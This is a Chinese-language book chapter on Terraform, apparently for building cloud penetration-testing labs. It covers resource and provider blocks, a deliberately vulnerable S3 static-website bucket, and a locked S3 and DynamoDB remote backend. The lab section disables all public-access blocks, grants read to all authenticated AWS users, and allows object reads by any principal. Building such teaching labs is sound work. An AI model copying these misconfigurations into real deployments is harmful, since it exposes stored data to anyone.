resource "<type>" "<name>" { <argument 01> = <value 01> <argument 02> = <value 02> }资源是通过一个或多个参数进行配置的,每个参数由一个键值对表示。根据正在创建的具体资源,参数可能包括区域、实例类型、子网 ID、安全组等内容。
让我们快速看一个如何使用 Terraform 定义 Azure 公共 IP 地址资源块的例子:
resource "azurerm_public_ip" "public_ip_03" {name= "public-ip-03" ... resource_group_name = local.rg_02.nameallocation_method = "Dynamic" }在这里,我们指定了各种属性,如从本地变量获取的资源组名称,以及分配方法设置为 "动态"。
-
提供程序—这些是插件,使得云平台和 SaaS API 交互成为可能。它们的结构如下:
provider "<name>" { <argument 01> = <value 01> <argument 02> = <value 02> }提供程序可以包括 云服务提供商(CSPs),如 AWS、Azure 和 GCP,以及其他第三方提供商。根据使用的具体提供程序,参数可能包括访问密钥、区域和端点等内容。
让我们快速看一个如何定义提供程序的例子:
provider "aws" { alias = "default" region = "us-east-1" }通过使用适当区域配置此提供程序,Terraform 将能够在指定区域内与 AWS 服务进行交互,用于资源的配置和管理。
-
数据源—这些是允许我们在运行时查询数据的元素。它们的结构如下:
data "<type>" "<name>" { ... }数据源的配置取决于使用的具体数据源,可以包括查询、筛选条件和身份验证信息等内容。
让我们快速看一个如何定义数据源的例子:
data "aws_ip_ranges" "ec2_instance_connect" { regions = ["us-east-1"] services = ["EC2_INSTANCE_CONNECT"] }通过这个数据块,我们可以获取指定区域内 AWS EC2 实例连接服务使用的 IP 范围的信息。
-
本地值—这些是代码块,允许我们分配和存储静态值以备后用。它们的结构如下:
locals { <name 01> = <expression 01> <name 02> = <expression 02> }表达式可以是任何有效的 Terraform 表达式,包括其他变量或函数。通过这个代码块,我们可以轻松地在 Terraform 配置中定义本地变量,使我们的代码更加可读、易于维护和可重用。
让我们看一个如何定义一些本地变量的例子:
locals { net_01 = google_compute_network.vpc_01.self_linknet_02 = google_compute_network.vpc_02.self_link }在这里,我们简单地定义了两个本地变量(
net_01和 net_02),它们的值等于相应google_compute_network资源的self_link属性值。 -
输入变量—这些是代码块,允许用户指定动态值。它们的结构如下:
variable "<name>" { type = <type> default = <value> }Terraform 中的变量用于参数化配置,使得代码可以在不同的场景或环境中重用。
让我们快速看一个如何定义变量的例子:
variable "instance_name" { type = string default = "kali" }这个变量可以在 Terraform 配置中使用,根据特定需求动态定制实例名称。
-
输出值—这些帮助返回和打印值,并在模块之间共享值。它们的结构如下:
output "<name>" { value = <expression> }Terraform 中的输出用于定义在
terraform apply操作完成后暴露给用户的值。该输出可以在配置的其他部分或使用当前模块作为依赖项的其他配置中引用。让我们快速看一个实际示例:
output "vm_kali_public_ip" { value = local.vm_kali.public_ip_address }在这里,我们简单地定义一个输出块,以检索虚拟机(在 Azure 中)的公共 IP 地址。
虽然 Terraform 中确实有更多要考虑的元素,但我们讨论的这些元素应该足够了。随着你继续深入 Terraform,你可以探索更多的元素,扩展管理基础设施的能力。在我们已经建立的基础上,这些元素将进一步增强我们使用 Terraform 在云中创建各种渗透测试实验室的能力。
使用简单的 Terraform 配置
现在我们已经大致了解了在 Terraform 配置文件中会遇到哪些代码块,让我们继续看下一个示例:
-
使用
mkdir命令创建一个basics目录。然后使用cd命令进入创建的目录:mkdir basics && cd basics -
使用
touch命令在basics目录中创建一个空的main.tf文件:touch main.tf -
运行以下命令以使用 Vim 打开空的
main.tf文件:vim main.tf
注意
输入:set nu,然后按Enter键显示行号。
- 接下来,按* i *键切换到插入模式,以便我们编辑文件。
注意
到此为止,你应该对如何使用 Vim 有了更好的了解。要切换到插入模式(假设我们当前处于普通模式),只需按* i 键。然后,要切换回普通模式,按Esc*键。
-
我们首先通过输入(或粘贴)以下代码块到我们的
main.tf文件中来声明和配置 AWS 提供程序:terraform { required_providers { aws = { source = "hashicorp/aws" version = "~> 4.0" } } } provider "aws" { alias = "default" region = "us-east-1" }通过这段代码,Terraform 能够定位并使用指定版本和来源的 AWS 提供程序,以在指定区域(us-east-1)中配置和管理 AWS 资源。
注意
请注意,Terraform 会自动使用在 CloudShell 环境中配置的凭证。
-
接下来,还需要添加以下代码:
data "aws_canonical_user_id" "current" {}这将使我们能够访问运行 Terraform 的账户的 AWS 标准用户 ID(这是一个字母数字值,用于授予对 S3 存储桶和对象的访问权限)。
注意
AWS 规范用户 ID(即 AWS 账户 ID 的“混淆形式”)主要用于 Amazon S3 中与对象级访问控制相关的操作。当授予 S3 对象或存储桶的访问权限时,此 ID 用于指定谁拥有必要的权限。请注意,AWS 规范用户 ID 与 AWS 账户 ID 不同,后者是与每个 AWS 账户相关联的 12 位数字。有关更多信息,请查看以下链接:docs.aws.amazon.com/AmazonS3/latest/userguide/finding-canonical-user-id.html。
-
让我们也声明几个本地变量,如下所示:
locals { user = data.aws_canonical_user_id.current name = local.user.display_name } -
最后,让我们添加以下代码,它将打印出我们正在使用的 AWS 账户的规范用户 ID 的
display_name值:resource "null_resource" "debug" { provisioner "local-exec" { command = "echo NAME=${local.name}" } } -
按 Esc 键切换回正常模式。输入
:wq!然后按 Enter。这将保存对main.tf文件所做的更改,并退出 Vim。 -
现在,我们的
main.tf文件已经准备好,让我们使用terraform init命令来初始化 Terraform 工作目录:terraform init这应该会产生类似于以下日志消息的日志输出:
Initializing the backend... Initializing provider plugins... - Finding hashicorp/aws versions matching "~> 4.0"... - Finding latest version of hashicorp/null... - Installing hashicorp/null v3.2.1... - Installed hashicorp/null v3.2.1 (signed by HashiCorp) - Installing hashicorp/aws v4.57.0... - Installed hashicorp/aws v4.57.0 (signed by HashiCorp)在这里,我们可以看到相关的文件和二进制文件已经从 Terraform Registry 下载。
-
让我们运行
terraform plan来预览 Terraform 将执行的更改:terraform plan -
使用
terraform apply命令来实施在运行terraform plan后返回的执行计划中的更改:terraform apply -auto-approve请注意,这次我们使用了
-auto-approve标志来跳过验证步骤,类似于上一节中遇到的情况。运行该命令应产生以下输出:Plan: 1 to add, 0 to change, 0 to destroy. null_resource.debug: Creating... null_resource.debug: Provisioning with 'local-exec'... null_resource.debug (local-exec): Executing: ["/bin/sh" "-c" "echo NAME=john.doe"] null_resource.debug (local-exec): NAME=john.doe null_resource.debug: Creation complete after 0s [id=6076855428035859265]这里发生了什么? 代码只是执行了一个命令,打印出
name本地值(即规范用户的显示名称)的值。
重要注意事项
我们可以看到,当使用 terraform apply -auto-approve 命令时,-auto-approve 标志允许在没有用户确认的情况下自动批准并执行计划的更改。-auto-approve 标志在非交互或自动化场景中非常有用,因为它消除了手动干预的需要。然而,使用 -auto-approve 标志时必须谨慎,因为它跳过了确认提示,且更改会立即应用。因此,在使用 -auto-approve 执行 terraform apply 之前,务必仔细审核 Terraform 代码和更改,以避免对基础设施进行不必要的修改。
-
现在,让我们对
main.tf文件进行小幅修改。再次运行以下命令,使用 Vim 打开空的main.tf文件:vim main.tf
注意
您可以输入 :set nu 然后按 Enter 键来显示行号。
-
接下来,按 i 切换到 插入模式,以便我们可以编辑文件。
-
使用箭头键定位以下行:
command = "echo NAME=${local.name}"一旦找到前面的代码块中的这一行,替换为以下内容:
command = "echo ID=${local.user.id}"在这里,我们计划在后续步骤中运行
terraform apply命令时,打印并记录 ID(而不是display_name值)。 -
按下Esc键以切换回正常模式。输入
:wq!然后按Enter键。这将保存对main.tf所做的更改,并退出 Vim。 -
在运行
terraform plan命令之前,我们先运行terraform fmt来格式化我们的 Terraform 代码:terraform fmt在这里,我们使用
terraform fmt来确保所有 Terraform 配置文件遵循一致的编码风格。此命令会扫描 Terraform 配置文件,调整缩进、间距和换行符,以符合官方的 Terraform 风格指南。
注意
terraform fmt命令会自动调整代码块、语句和表达式的缩进,以确保对齐一致。它通常为每一级缩进使用两个空格。除此之外,命令还会添加或删除空格,以保持操作符、冒号、逗号及其他元素周围的间距一致。例如,它会确保在变量赋值的等号前后都有空格。类似地,它会插入或删除换行符,通过在资源块或变量声明之间插入换行符来提高可读性,使代码更加结构化。terraform fmt 还会进行一些其他格式调整,但这些调整应该足够了。
-
现在,让我们运行
terraform plan以预览 Terraform 将要执行的更改:terraform plan这应该会生成以下输出:
No changes. Your infrastructure matches the configuration. Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed.似乎在更改提供程序命令时未能检测到变化!
注意
在这里,Terraform 应该在修改资源块中的提供程序命令时检测到变化。然而,在某些情况下,修改提供程序命令可能不会被基础设施即代码(IaC)工具识别为修改。因此,Terraform 可能不会执行更新后的提供程序命令,可能导致部署的基础设施出现不一致。有关此主题的更多信息,请随时查看以下链接:github.com/hashicorp/terraform/issues/14405。
-
要强制替换已创建的资源,我们可以在运行
terraform** **apply命令时使用-replace标志:terraform apply -auto-approve \ -replace=null_resource.debug这应该会生成以下日志:
null_resource.debug: Destroying... [id=6076855428035859265] null_resource.debug: Destruction complete after 0s null_resource.debug: Creating... null_resource.debug: Provisioning with 'local-exec'... null_resource.debug (local-exec): Executing: ["/bin/sh" "-c" "echo ID=abcdefghabcdefghabcdefghabcdefghabcdefghabcdefgh"] null_resource.debug (local-exec): ID=abcdefghabcdefghabcdefghabcdefghabcdefghabcdefgh null_resource.debug: Creation complete after 0s [id=9009508010716198837]在这里,我们可以看到 ID 值在运行
terraform** **apply命令后被记录了下来。
注意
这里发生了什么? 在这里,我们指示 Terraform 自动应用更改,而无需用户确认,特别是替换null_resource.debug资源。-replace=null_resource.debug参数专门定位null_resource.debug资源,表示它应在apply操作期间被替换。
-
使用
cd命令导航到用户的主目录:cd .. -
最后,使用
rm -rf命令删除basics目录(以及其中的所有内容):rm -rf basics这样可以腾出一些空间,因为我们需要管理 CloudShell 环境中的可用空间。
恭喜完成我们的第二个 Terraform 示例!此时,我们应该已经具备了处理更复杂 Terraform 代码所需的信心。
使用 Terraform 构建我们的易受攻击实验室环境
本章的前几节帮助我们更好地理解了 Terraform 的工作原理。我们通过了相对简单的示例,现在是时候开始处理一个更完整、现实的示例了!也就是说,我们将使用 Terraform 自动创建和配置我们在 第二章 中手动准备的易受攻击的实验室环境,准备我们的第一个易受攻击的云实验室环境。通过利用 Terraform,我们应该能够简化设置我们之前手动准备的易受攻击实验室环境的过程。
注意
在 第二章**发生了什么? 在 第二章 中,我们通过 AWS 管理控制台手动创建了一个空的 S3 存储桶,并将其配置为静态网站托管。然后,我们修改了存储桶的访问控制设置,允许经过身份验证的 AWS 用户列出并检索对象。为了完成设置,我们将示例文件上传到 S3 存储桶。
也就是说,本节由四个子部分组成,如下所示:
-
使用 Terraform 创建 S3 存储桶
-
更新 S3 存储桶的安全配置
-
上传文件到 S3 存储桶
-
清理并删除 S3 存储桶
事不宜迟,让我们开始吧!
第一部分 / 共 4 部分 – 使用 Terraform 创建 S3 存储桶
继续前一节的内容,让我们使用 mkdir 命令创建一个 basics 目录,然后按以下步骤操作:
-
使用
cd命令导航到已创建的目录:mkdir vulnerable_s3_lab cd vulnerable_s3_lab -
使用
touch命令在vulnerable_s3_lab目录中创建一个空的main.tf文件:touch main.tf -
运行以下命令使用 Vim 打开空的
main.tf文件:vim main.tf
注意
你可以输入 :set nu 然后按 Enter 键来显示行号。
-
接下来,按 i 切换到 插入模式,这样我们就可以编辑文件了。
-
在我们的
main.tf文件中键入或粘贴以下代码块:terraform { required_providers { aws = { source = "hashicorp/aws" version = "~> 4.0" } } } provider "aws" { alias = "default" region = "us-east-1" } -
接下来,让我们通过添加以下代码块来声明一个
aws_s3_bucket资源:resource "aws_s3_bucket" "bucket" { bucket = "<INSERT BUCKET NAME>" force_destroy = true }确保将
<INSERT BUCKET NAME>替换为一个全球唯一的存储桶名称。如果你想知道force_destroy的作用,它只是允许我们在后续步骤中删除 S3 存储桶及其所有对象,而不会遇到问题。
注意
如需了解如何命名 S3 存储桶的指南和规则,欢迎查看以下链接:docs.aws.amazon.com/AmazonS3/latest/userguide/bucketnamingrules.html。
-
按Esc键切换回正常模式。输入
:wq!,然后按Enter键。这将保存对main.tf文件所做的更改,并退出 Vim。 -
现在我们的
main.tf文件已准备好,让我们使用terraform init命令初始化 Terraform 工作目录:terraform init -
接下来,让我们运行
terraform plan来预览 Terraform 将执行的更改:terraform plan这应该会生成一组日志,类似于我们在图 3.6中看到的内容:
![]()
图 3.6 - 运行 terraform plan 命令后生成的日志
在这里,我们可以看到某些属性的值只有在执行
terraform apply命令后才会知道(也就是说,当资源被创建时)。
注意
了解某些属性值只有在执行terraform apply命令后才会确定,这是至关重要的。属性值的这种动态特性使得 Terraform 能够准确反映资源创建后的状态。
-
使用
terraform apply命令来实现执行计划中指定的更改,该计划在运行terraform plan后返回:terraform apply -auto-approve这应该会生成一组日志,显示我们已成功创建 S3 桶。
注意
随时使用terraform show检查我们 S3 桶的当前配置设置。
-
在我们庆祝之前,让我们运行以下命令,验证 S3 桶是否已成功创建:
aws s3 ls | grep <INSERT BUCKET NAME>确保将
<INSERT BUCKET NAME>替换为在main.tf文件中指定的桶名称(来自本节前面的步骤)。这应该会生成一个格式如下的输出:<DATE> <TIME> <INSERT BUCKET NAME>如果你指定的桶名称是
vuln-s3-abcdef-12345,我们应该得到一个类似于2023-10-01** **12:00:00 vuln-s3-abcdef-12345格式的输出。
第二部分,共 4 部分 - 更新 S3 桶的安全配置
我们才刚刚开始!在接下来的步骤中,我们将学习如何更新安全配置:
-
现在,让我们运行以下命令,再次使用 Vim 打开
main.tf文件:vim main.tf
注意
你可以输入:set nu,然后按Enter键以显示行号。
-
接下来,按住Shift键,然后按g键跳转到最后一行。之后按o键。这应该会在当前行之后插入新的一行(并切换到插入模式)。
-
现在我们处于插入模式,接下来添加以下代码块,以指定 S3 桶的公共访问阻止配置:
resource "aws_s3_bucket_public_access_block" "bucket" { bucket = aws_s3_bucket.bucket.id block_public_acls = false block_public_policy = false ignore_public_acls = false restrict_public_buckets = false }在这里,
block_public_acls、block_public_policy、ignore_public_acls和restrict_public_buckets属性被设置为false。这意味着 S3 桶不会阻止公共访问控制列表(ACLs)或公共策略,不会忽略公共 ACLs,并且不会限制公共桶。 -
我们还可以添加以下内容,以指定 S3 桶的所有权控制:
resource "aws_s3_bucket_ownership_controls" "bucket" { bucket = aws_s3_bucket.bucket.id rule { object_ownership = "ObjectWriter" } }所有权控制设置为
ObjectWriter。这确保了只有上传对象的身份与访问管理(IAM)用户或角色才能修改存储桶中的对象。 -
接下来,让我们通过添加以下代码块来配置 S3 存储桶以进行静态网站托管:
resource "aws_s3_bucket_website_configuration" "bucket" { bucket = aws_s3_bucket.bucket.bucket index_document { suffix = "index.html" } } -
让我们也定义一个
aws_iam_policy_document数据源块:data "aws_iam_policy_document" "policy" { statement { sid = "SampleStatement" principals { type = "AWS" identifiers = ["*"] } actions = [ "s3:GetObject" ] resources = [ "${aws_s3_bucket.bucket.arn}/*" ] } }代码块中描述的策略授予 AWS 主体(即任何AWS 账户或 IAM 用户)执行
s3:GetObject操作的权限,作用于 S3 存储桶中的对象。resources属性指定了 S3 存储桶的Amazon 资源名称(ARN),后跟一个通配符字符(*****),以允许访问存储桶中的所有对象。
注意
如果你在想数据源块是什么,它只是一个我们可以读取数据的资源。它允许我们从现有资源或外部系统中检索信息。此外,它充当一个只读参考,提供可用于配置的有价值数据。我们将在接下来的步骤中看到数据源块的使用。
-
让我们还定义
s3_policy和au_uri本地变量,这些变量将在随后的配置块中使用:locals {s3_policy = data.aws_iam_policy_document.policyau_uri = "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" } -
接下来,使用以下代码块定义一个
aws_s3_bucket_policy资源:resource "aws_s3_bucket_policy" "allow_access_policy" { bucket = aws_s3_bucket.bucket.id policy = local.s3_policy.json } -
让我们再定义另一个数据源块,如下所示:
data "aws_canonical_user_id" "current" {}
注意
这是本章前一部分中使用的相同数据源块。如果你不记得这个是用来做什么的,这个数据源块将让我们访问运行 Terraform 时使用的账户的 AWS 规范用户 ID。
-
让我们还定义一个
aws_s3_bucket_acl资源,用于设置 S3 存储桶的 ACL 配置设置:resource "aws_s3_bucket_acl" "bucket_acl" { bucket = aws_s3_bucket.bucket.id access_control_policy {grant {grantee { id = data.aws_canonical_user_id.current.id type = "CanonicalUser" }permission = "FULL_CONTROL" }grant {grantee { type = "Group" uri = local.au_uri }permission = "READ" } owner { id = data.aws_canonical_user_id.current.id } } }这个代码块配置了 S3 存储桶的 ACL。
aws_s3_bucket_acl资源为两个授权设置了权限:一个是授予具有FULL_CONTROL权限的规范用户,另一个是授予具有READ权限的组。这里,data.aws_canonical_user_id数据源返回第一个授权人的规范用户 ID。而local.au_uri本地值则返回第二个授权人的 URI(指向一个名为AuthenticatedUsers的 AWS 预定义组)。
注意
你可能已经注意到,我们的main.tf文件变长了。需要注意的是,我们可以将资源划分到不同的文件中并进行分组。当工作目录中有多个.tf文件时,Terraform 会将这些文件简单地连接起来并继续执行它的常规基础设施管理操作。我们在本章中不会深入讨论这些策略和最佳实践,因为我们将在本书接下来的章节中介绍这些内容,同时构建多个 AWS、Azure 和 GCP 中的渗透测试实验室环境。
-
按下Esc键切换回正常模式。键入
:wq!,然后按Enter。这将保存对main.tf所做的更改,并退出 Vim。 -
在运行
terraform plan命令之前,让我们运行terraform fmt来格式化我们的 Terraform 代码:terraform fmt在这里,我们使用
terraform fmt来确保我们的 Terraform 配置文件采用一致的编码风格。通过分析文件,此命令调整缩进、间距和换行符,以符合指定的 Terraform 风格指南。 -
现在,让我们运行
terraform plan预览 Terraform 将执行的更改:terraform plan这应该生成类似于图 3**.7中的执行计划:
![]()
图 3.7 – 运行 terraform plan 命令后的结果
在这里,我们可以看到执行计划现在包括了我们的 S3 存储桶安全配置设置的更新。
-
一切准备就绪,让我们运行
terraform** **apply命令:terraform apply -auto-approve
注意
如果您遇到运行terraform apply -auto-approve时出现问题,请随时重新运行相同的命令,这可能会自动解决这些问题,而无需修改 Terraform 代码。例如,如果遇到“Error putting S3 policy: AccessDenied: Access Denied”错误消息,请简单地再次运行terraform apply -auto-approve。请注意,解决问题的另一种方法是首先使用terraform destroy -auto-approve删除资源,然后再使用terraform apply -auto-approve创建资源。
-
现在,让我们验证是否已应用桶的 ACL 配置,使用以下命令:
aws s3api get-bucket-acl --bucket=<INSERT BUCKET NAME>确保用您的 S3 存储桶的名称替换
<INSERT BUCKET NAME>。运行命令后,我们应该会得到一个类似于图 3**.8的 JSON 响应:
![]()
图 3.8 – 运行 aws s3api get-bucket-acl 命令后返回的结果
在这里,我们可以看到新的 ACL 配置设置已应用到我们的 S3 存储桶。
第三部分共 4 部分 – 向 S3 存储桶上传文件
接下来,让我们按以下方式向之前创建的 S3 存储桶添加文件:
-
使用
touch命令创建空的upload.sh文件:touch upload.sh -
要使upload.sh 脚本文件可执行,请运行以下命令:
chmod +x upload.sh -
运行以下命令打开空的
upload.sh文件,使用 Vim:vim upload.sh
注意
输入:set nu然后按Enter键显示行号。
-
按i切换到插入模式,以便我们可以编辑
upload.sh文件。 -
现在我们处于插入模式中,让我们继续添加以下代码块:
mkdir files cd files SOURCE=https://github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/raw/main/ch03/sample_website.zip wget $SOURCE -O sample_website.zip unzip sample_website.zip rm sample_website.zip aws s3 cp --recursive . s3://$1此一组命令简单地 (1) 从 GitHub 存储库下载一个 ZIP 文件,其中包含一个示例网站,并且 (2) 将其内容上传到 Amazon S3 存储桶。确保
SOURCE变量值正确,通过删除任何额外的空格并检查是否可以直接通过浏览器访问下载链接来验证。
注意
这是在第二章中使用的相同一组终端命令,准备我们的第一个易受攻击的云实验室环境,用于将文件上传到我们的 S3 存储桶。
-
按Esc键切换回正常模式。输入
:wq!并按Enter键。这将保存对upload.sh所做的更改并退出 Vim。 -
运行以下命令使用 Vim 打开
main.tf文件:vim main.tf -
按住Shift键,然后按g键跳转到最后一行。之后按o键。这将会在当前行之后插入一个新行(并切换到插入模式)。
-
在上一步插入的新行之后,添加以下代码块:
resource "null_resource" "s3_upload" { provisioner "local-exec" { command = "./upload.sh ${aws_s3_bucket.bucket.id}" } }在这里,
provisioner块指定将使用local-exec提供者,command属性指定要执行的 shell 命令,在此情况下为名为upload.sh的 shell 脚本。
注意
请注意,在前面的代码块中,提供者代码也可以放在aws_s3_bucket资源块内,或者放在其他资源块中(只需做一些小修改即可使其工作)。有关local-exec提供者的更多信息,请随时查看以下链接:developer.hashicorp.com/terraform/language/resources/provisioners/local-exec。
-
按Esc键切换回正常模式。输入
:wq!并按Enter键。这将保存对main.tf所做的更改并退出 Vim。 -
现在,让我们运行
terraform plan来预览 Terraform 将要执行的变更:terraform plan这应该会给我们类似于图 3.9中所示的错误消息:
![]()
图 3.9 – 不一致的依赖锁定文件错误
Terraform 中的
Inconsistent dependency lock file错误通常发生在依赖关系锁定文件与配置文件不匹配时。这种不一致可能是由于对配置做了更改,但没有相应地更新锁定文件所导致的。因此,为了解决Inconsistent dependency lock file错误,我们可以再次使用以下命令:terraform init这将同步锁定文件与配置,解决任何不一致之处,并确保 Terraform 部署的依赖关系一致。
-
接下来,让我们运行
terraform plan来预览 Terraform 将要执行的变更:terraform plan这次你应该看到命令执行成功。
-
一切准备好后,让我们使用
terraform apply命令来实现运行terraform plan后返回的执行计划中指定的更改:terraform apply -auto-approve这应该会运行
upload.sh脚本中编码的命令。 -
让我们通过运行
aws s3 ls命令进行一些快速检查,如下所示:aws s3 ls s3://<INSERT BUCKET NAME>这应该会列出我们 S3 桶中存储的对象。
注意
在运行命令之前,请确保将<INSERT BUCKET NAME>替换为你的 S3 桶名称。
-
现在,让我们使用
aws s3api get-bucket-website命令来检查静态网站托管配置:aws s3api get-bucket-website --bucket <INSERT BUCKET NAME>确保将
<INSERT BUCKET NAME>替换为main.tf文件中指定的桶名称(来自本节前面的步骤)。这应该返回以下输出:{ "IndexDocument": { "Suffix": "index.html" } }这确认了为指定 S3 桶正确设置了静态网站托管配置。
-
我们还可以通过访问以下链接来检查我们的静态网站托管设置是否有效:
http://<BUCKET NAME>.s3-website.<REGION>.amazonaws.com确保将
<BUCKET NAME>替换为我们创建的 S3 桶的名称。别忘了将<REGION>替换为 S3 桶创建所在的区域(例如,us-east-1)。如果一切顺利,我们应该能看到类似图 3.10所示的维护页面:

图 3.10 – 验证静态网站托管设置是否生效
注意
此时,类似于我们在第二章中准备的易受攻击实验环境(准备我们的第一个易受攻击云实验环境),已经准备就绪!可以随意按照第二章中测试和黑客攻击我们的第一个易受攻击环境部分的步骤测试我们实验环境的安全配置(在这里我们需要第二个 AWS 账户)。
第四部分 共 4 部分 – 清理并删除 S3 桶
在结束本节之前,让我们进行清理!请按照以下步骤操作:
-
使用
terraform destroy来清理我们之前创建的资源:terraform destroy在验证步骤(即,当你看到
Enter a value:提示时),输入yes继续删除资源。资源删除后,会在同一目录中生成一个包含状态文件属性副本的备份文件(terraform.tfstate.backup)。 -
你可以使用
less或cat命令来检查存储在terraform.tfstate.backup文件中的属性。或者,我们可以使用terraform show命令读取terraform.tfstate.backup文件的内容:terraform show terraform.tfstate.backup这应该会产生类似于图 3.11的输出:
![]()
图 3.11 – 运行 terraform show 后的输出
如果你有冲动使用
terraform show将状态文件转换为配置文件(类似于我们在main.tf文件中编写的内容),那么需要注意的是,我们在图 3.11中的输出并不是为了直接程序化使用(它主要是供我们人类排查故障和检查存储在文件中的状态)。
注意
如果使用terraform show(不带任何额外参数),我们应该得到一个空响应,因为资源已经在此时通过terraform destroy被删除。
哇!我们成功地将【第二章】(B19755_02.xhtml)中的手动步骤转换成了一个配置文件。此时,如果我们想要创建 10 个 S3 桶的克隆(所有资源具有相同的属性和配置设置,除了桶名称),我们只需对现有配置进行少许修改,然后使用 Terraform 自动创建和配置 S3 资源。
配置带状态锁定的 Terraform 后端
本节将探讨 Terraform 远程后端的工作原理,并了解状态锁定如何确保在管理基础设施部署时,基础设施状态的完整性和一致性。接着,我们将深入研究配置远程后端以启用状态锁定的逐步过程。
理解 Terraform 远程后端
到目前为止,我们一直在使用默认的本地后端,它将状态存储为本地文件(即terraform.tfstate文件)。当只有一个工程师参与时,这种配置应该是可以的。一旦另一位工程师希望使用 Terraform 对相同的资源集应用配置更改,使用远程后端将更加合理,因为第二位工程师需要访问现有的状态文件(由第一位工程师使用)。此外,我们需要确保同一资源集的配置更改不会同时应用,以防止竞争条件,这可能导致状态损坏。
使用 Terraform 时的最佳实践之一是使用外部远程后端来存储和锁定状态(类似于图 3.12所示):

图 3.12 – 本地后端与远程后端
这允许多位工程师在同一资源集上工作,而无需担心破坏设置。配置正确的后端至关重要,因为 Terraform 后端决定了状态的加载方式,这反过来会影响资源的创建和修改过程。
注意
精心选择和配置后端可以确保安全协作、版本控制和整个基础设施生命周期中的正确状态管理。这增强了 Terraform 工作流的可靠性和可扩展性,特别是对于在相同资源集上工作的团队。欲了解更多信息,请随时查看以下链接:developer.hashicorp.com/terraform/language/settings/backends/configuration。
话虽如此,为了解决协作中的挑战并防止潜在的冲突,建议将 Terraform 的默认本地后端切换到远程后端。通过使用远程后端,如 S3 存储桶,多个工程师可以安全地访问和修改同一个状态文件。这有助于协调,并确保在对共享资源进行配置更改时的一致性。此外,使用远程后端有助于缓解竞争条件的风险,因为它提供了一个集中式的机制来管理和锁定状态,从而降低了遇到损坏状态的可能性。
配置 Terraform 远程后端
状态锁定 在避免冲突和竞争条件方面起着至关重要的作用。通过允许每次只有一个用户或进程修改状态,它确保了 Terraform 部署中的完整性和同步性。此机制对于维护数据一致性和防止在协作的基础设施管理过程中发生不必要的更改至关重要。
在 AWS 云环境中配置 Terraform 后端的状态锁定时,通常会使用 S3 存储桶和 DynamoDB 表。S3 存储桶作为 Terraform 状态文件的安全存储,而 DynamoDB 表则充当分布式锁机制。通过状态锁定,只有一个 Terraform 命令能够在任何时刻持有锁,其他命令则等待直到锁被释放。此设置确保一致性,并防止在协作或自动化的 Terraform 环境中发生冲突。我们将把 S3 存储桶标记为 BACKEND_S3,DynamoDB 表标记为 BACKEND_TABLE,因为我们将在本章中多次引用这些资源。请注意,BACKEND_S3 和 BACKEND_TABLE 只是我们在本章中使用的任意标签,目的是方便我们引用将在接下来的步骤中创建的资源。也就是说,这些标签与云基础设施资源的实际名称不同。
注意
如果你在想 DynamoDB 是什么,它是 AWS 中完全托管的 NoSQL 数据库服务。在 DynamoDB 中,表由项目和属性组成。每个项目代表一条独立的数据,类似于传统数据库中的一行。项目由属性组成,属性是存储实际数据的键值对。需要注意的是,DynamoDB 表不要求固定的模式,这意味着每个项目可以有不同的属性集合。为了实现分布式锁机制,Terraform 通过创建一个唯一的项目或记录作为锁指示符,利用 DynamoDB 表。当 Terraform 命令尝试获取锁时,它会检查指定的项目是否存在。如果项目不存在,该命令会将项目添加到 DynamoDB 表中,表示它已获取锁。这可以防止其他 Terraform 命令同时获取锁。
在接下来的步骤中,我们将通过配置 Terraform 后端来存储和锁定状态,从而升级我们的设置:
-
使用
cd命令导航到主目录,如下所示:cd ~ -
让我们使用
mkdir命令创建一个backend目录。创建好backend目录后,使用cd命令导航到该目录:mkdir backend && cd backend -
接下来,使用
touch命令在backend目录中创建一个空的main.tf文件:touch main.tf -
运行以下命令使用 Vim 打开空的
main.tf文件:vim main.tf
注意
你可以输入 :set nu,然后按 Enter 键来显示行号。
-
接下来,按 i 键切换到 插入模式,这样我们就可以编辑文件了。
-
将以下代码块添加到我们的
main.tf文件中:terraform { required_providers { aws = { source = "hashicorp/aws" version = "~> 4.0" } } } provider "aws" { alias = "default" region = "us-east-1" } -
接下来,让我们定义一个 新的
aws_s3_bucket资源(用于后端)。请注意,这个 S3 存储桶资源与我们在脆弱实验环境中使用的配置错误的 S3 存储桶不同:resource "aws_s3_bucket" "remote_state" { bucket = "<INSERT S3 BACKEND BUCKET NAME>" lifecycle { prevent_destroy = true } }在这里,
lifecycle块包括一个将prevent_destroy属性设置为true的配置,确保存储桶不会被意外销毁。这意味着存储在该存储桶中的 Terraform 状态文件被保护,不会被意外删除。
重要说明
确保将 <INSERT S3 BACKEND BUCKET NAME> 替换为一个唯一的 S3 存储桶名称(例如,tf-remote-backend-abcdef-terraform** **apply 命令。
-
现在,让我们添加以下代码块,以启用 存储桶版本控制 并为我们的 S3 存储桶配置 服务器端加密:
resource "aws_s3_bucket_versioning" "versioning" { bucket = aws_s3_bucket.remote_state.id versioning_configuration { status = "Enabled" } } resource "aws_s3_bucket_server_side_encryption_configuration" "encryption" { bucket = aws_s3_bucket.remote_state.id rule { apply_server_side_encryption_by_default { sse_algorithm = "aws:kms" } } }在这里,为 S3 存储桶启用了存储桶版本控制和服务器端加密,这将用于存储 Terraform 的远程状态。版本控制确保保留远程状态的先前版本,从而在意外删除或损坏的情况下可以轻松恢复。另一方面,服务器端加密确保远程状态中的敏感数据在静态时被加密,以增加额外的安全层。
-
接下来,让我们使用以下代码块定义一个
aws_dynamodb_table资源(使用我们的 S3 存储桶名称作为 DynamoDB 表的名称):resource "aws_dynamodb_table" "state_lock" { hash_key = "LockID" name = "${aws_s3_bucket.remote_state.id}" attribute { name = "LockID" type = "S" } billing_mode = "PAY_PER_REQUEST" }在这里,
billing_mode设置为"PAY_PER_REQUEST",这意味着 (1) 我们只为对表的读写请求付费,(2) 没有预付费用或最低费用。 -
按 Esc 键切换回普通模式。输入
:wq!,然后按 Enter 键。这将保存对main.tf所做的更改,并退出 Vim。
注意
到此为止,我们应该已经有两个 main.tf 文件:(1) ~/vulnerable_s3_lab/main.tf 和 (2) ~/backend/main.tf。
-
现在我们的
~/backend/main.tf文件已经准备好,接下来让我们使用terraform init命令初始化 Terraform 工作目录:terraform init -
接下来,让我们运行
terraform plan来预览 Terraform 要执行的更改:terraform plan -
一切准备好后,让我们使用
terraform apply命令来实施在运行terraform plan后返回的执行计划中的更改:terraform apply -auto-approve
注意
